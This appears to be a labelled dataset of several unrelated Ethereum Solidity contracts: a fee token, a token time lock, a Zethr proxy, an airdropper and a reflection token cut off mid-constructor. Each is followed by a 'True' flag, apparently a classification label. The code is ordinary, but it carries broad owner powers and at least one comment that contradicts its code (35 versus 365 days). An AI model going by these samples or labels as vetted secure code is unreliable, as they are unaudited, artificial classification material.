isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
beneficiary = msg.sender;
}
/**
* @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary
* @dev after a certain threshold, try to swap collected fees automatically
* @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(
recipient != address(this),
"Cannot send tokens to token contract"
);
if (
!feesEnabled ||
isExcludedFromFee[sender] ||
isExcludedFromFee[recipient]
) {
ERC20._transfer(sender, recipient, amount);
return;
}
// burn tokens if min supply not reached yet
uint256 burnedFee = calculateFee(amount, 25);
if (totalSupply() - burnedFee >= minSupply) {
_burn(sender, burnedFee);
} else {
burnedFee = 0;
}
uint256 transferFee = calculateFee(amount, 200);
ERC20._transfer(sender, beneficiary, transferFee);
ERC20._transfer(sender, recipient, amount - transferFee - burnedFee);
}
function calculateFee(uint256 _amount, uint256 _fee)
public
pure
returns (uint256)
{
return (_amount * _fee) / 10000;
}
/**
* @notice allows to burn tokens from own balance
* @dev only allows burning tokens until minimum supply is reached
* @param value amount of tokens to burn
*/
function burn(uint256 value) public {
_burn(_msgSender(), value);
require(totalSupply() >= minSupply, "total supply exceeds min supply");
}
/**
* @notice sets minimum supply of the token
* @dev only callable by owner
* @param _newMinSupply new minimum supply
*/
function setMinSupply(uint256 _newMinSupply) public onlyOwner {
emit MinSupplyUpdated(minSupply, _newMinSupply);
minSupply = _newMinSupply;
}
/**
* @notice sets recipient of transfer fee
* @dev only callable by owner
* @param _newBeneficiary new beneficiary
*/
function setBeneficiary(address _newBeneficiary) public onlyOwner {
setExcludeFromFee(_newBeneficiary, true);
emit BeneficiaryUpdated(beneficiary, _newBeneficiary);
beneficiary = _newBeneficiary;
}
/**
* @notice sets whether account collects fees on token transfer
* @dev only callable by owner
* @param _enabled bool whether fees are enabled
*/
function setFeesEnabled(bool _enabled) public onlyOwner {
emit FeesEnabledUpdated(_enabled);
feesEnabled = _enabled;
}
/**
* @notice adds or removes an account that is exempt from fee collection
* @dev only callable by owner
* @param _account account to modify
* @param _excluded new value
*/
function setExcludeFromFee(address _account, bool _excluded)
public
onlyOwner
{
isExcludedFromFee[_account] = _excluded;
emit ExcludedFromFeeUpdated(_account, _excluded);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
pragma solidity >=0.7.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner ;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract BSB_LockingTeamCouncilTokens is Ownable {
using SafeMath for uint;
event Transferred(address holder, uint amount);
// BSB token contract address
address public constant tokenAddress = 0xA478A13242b64629bff309125770B69f75Bd77cb;
uint256 tokens = 0;
uint256 relaseTime = 365 days;
uint256 timing ;
function getTiming() public view returns (uint256){
return block.timestamp.sub(timing);
}
function deposit(uint amountToStake) public onlyOwner{
require( tokens == 0, "Cannot deposit more Tokens");
require( amountToStake > 0, "Cannot deposit Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
tokens = amountToStake;
timing = block.timestamp;
}
function withdraw() public onlyOwner{
require( tokens>0, "Deposit first");
require(block.timestamp.sub(timing)>relaseTime, "Not yet"); // 35 days locked
require(Token(tokenAddress).transfer(owner, tokens), "Could not transfer tokens.");
tokens = tokens.sub(tokens);
emit Transferred(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.24;
/** Proxy contract to buy tokens at the 2% rate on Zethr.
**/
contract ZethrProxy_Two {
ZethrInterface zethr = ZethrInterface(address(0xD48B633045af65fF636F3c6edd744748351E020D));
address bankroll = 0x7430984e1D05d5F447c747123dd26845f6f17544;
address owner = msg.sender;
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
function buyTokensWithProperEvent(address _referredBy, uint8 divChoice) public payable {
// Query token balance before & after to see how much we bought
uint balanceBefore = zethr.balanceOf(msg.sender);
// Buy tokens with selected div rate
zethr.buyAndTransfer.value(msg.value)(_referredBy, msg.sender, "", divChoice);
// Query balance after
uint balanceAfter = zethr.balanceOf(msg.sender);
emit onTokenPurchase(
msg.sender,
msg.value,
balanceAfter - balanceBefore,
_referredBy
);
}
function () public payable {
}
function changeBankroll(address _newBankroll)
public
{
require(msg.sender == owner);
bankroll = _newBankroll;
}
// Yes there are divs generated on each buy,
// but not enough to justify transferring to msg.sender - gas price makes it not worth it.
function sendDivsToBankroll() public {
require(msg.sender == owner);
bankroll.transfer(address(this).balance);
}
}
contract ZethrInterface {
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice) public payable;
function balanceOf(address _owner) view public returns(uint);
} | True | [
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] |
pragma solidity ^0.4.23;
//A modern ERC-20 token
//The airdropper works on any ERC-20 token that implements approve(spender, tokens)
//and transferFrom(from, to, tokens)
interface IStandardToken {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function decimals() external returns (uint256);
}
/*
* A simple airdrop contract for an ERC-20 tokenContract
* Usage:
* 1) Pass the address of your token and the # tokens to dispense per user to the constructor.
* 2) approve() the address of the newly created YeekAirdropper to
* spend tokens on your behalf, amount to equal the total number of tokens
* you are airdropping
* 3) Have your airdrop recipients call withdrawAirdropTokens() to get their free tokens
* 4) Airdrop ends when the approved amount of tokens have been dispensed OR
* your balance drops too low OR you call endAirdrop()
*/
contract YeekAirdropper {
IStandardToken public tokenContract; // the token being sold
address public owner;
uint256 public numberOfTokensPerUser;
uint256 public tokensDispensed;
mapping(address => bool) public airdroppedUsers;
address[] public airdropRecipients;
event Dispensed(address indexed buyer, uint256 amount);
//Constructs an Airdropper for a given token contract
constructor(IStandardToken _tokenContract, uint256 _numTokensPerUser) public {
owner = msg.sender;
tokenContract = _tokenContract;
numberOfTokensPerUser = _numTokensPerUser * 10 ** tokenContract.decimals();
}
//Gets # of people that have already withdrawn their airdrop tokens
//In a web3.js client, airdropRecipients.length is not available
//so we need to get the count this way. Any iteration over the
//airdropRecipients array will be done in JS so as not to waste gas
function airdropRecipientCount() public view returns(uint) {
return airdropRecipients.length;
}
//Transfers numberOfTokensPerUser from owner to msg.sender
//if sufficient remaining tokens exist
function withdrawAirdropTokens() public {
require(tokenContract.allowance(owner, this) >= numberOfTokensPerUser);
require(tokenContract.balanceOf(owner) >= numberOfTokensPerUser);
require(!airdroppedUsers[msg.sender]); //Each address may only receive the airdrop one time
tokensDispensed += numberOfTokensPerUser;
airdroppedUsers[msg.sender] = true;
airdropRecipients.length++;
airdropRecipients[airdropRecipients.length - 1]= msg.sender;
emit Dispensed(msg.sender, numberOfTokensPerUser);
tokenContract.transferFrom(owner, msg.sender, numberOfTokensPerUser);
}
//How many tokens are remaining to be airdropped
function tokensRemaining() public view returns (uint256) {
return tokenContract.allowance(owner, this);
}
//Causes this contract to suicide and send any accidentally
//acquired ether to its owner.
function endAirdrop() public {
require(msg.sender == owner);
selfdestruct(msg.sender); //If any ethereum has been accidentally sent to the contract, withdraw it
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract JujitsuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000000000; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Jujitsu Inu';
string private _symbol = 'JUJI';
uint8 private _decimals = 9;
// Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Charity wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _charityFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address payable public _charityWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 public _maxTxAmount = _tTotal; //no max tx limit rn
uint256 private _numOfTokensToExchangeForCharity = 5000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
_blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
_isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true;
_blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084));
_isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true;
_blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303));
_isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true;
_blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595));
_isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true;
_blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241));
_isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
